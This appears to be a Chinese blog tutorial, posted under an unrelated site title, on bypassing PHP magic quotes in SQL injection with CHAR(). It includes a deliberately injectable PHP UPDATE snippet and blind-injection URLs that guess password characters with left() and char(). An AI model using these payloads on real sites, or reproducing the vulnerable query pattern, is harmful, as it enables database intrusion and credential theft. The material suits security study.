凯发娱发k8

char函数绕过魔术引号注入 -凯发娱发k8

2023-08-31

我目前学习到的绕过魔术引号的几种方法(如果知道还有别的请万望告之):

1.倘若服务端是gbk可以尝试宽字节注入

2.使用char函数绕过魔术引号进行注入

3.同char函数类似的函数,例如bin(转换为2进制),或者oct(转换为8进制)

本篇就是介绍char函数来进行绕过魔术引号来注入。

以下code是一个源码案例:


$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code'); $table = addslashes($_get['table']);
$sql = "update `{$table}`
set `username`='admin'
where id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);

paylaod:

假设:select * from user where username = 'def';

是可以等价于:select * from user where username = char(100,101,102);

那么在注入中自然也是可以如此。

假设一个站:http://www.baidu.com/newinfo.php?id=1

知道了它的列。char结合left函数注入。

http://www.baidu.com/newinfo.php?id=1 and left(password,1)=char(109)

假设第一个真的是等于109那么就返回正确。

当然了可以使用比较运算符来进行猜解。

http://www.baidu.com/newinfo.php?id=1 and left(password,1)>char(100)

然后猜解第二个的时候(假设第一个的char为100)。

http://www.baidu.com/newinfo.php?id=1 and left(password,2)>char(100,80)

表示python不太会玩儿。如果有人写出脚本可以分享来一起学习一下。

char函数绕过魔术引号注入的相关教程结束。

网站地图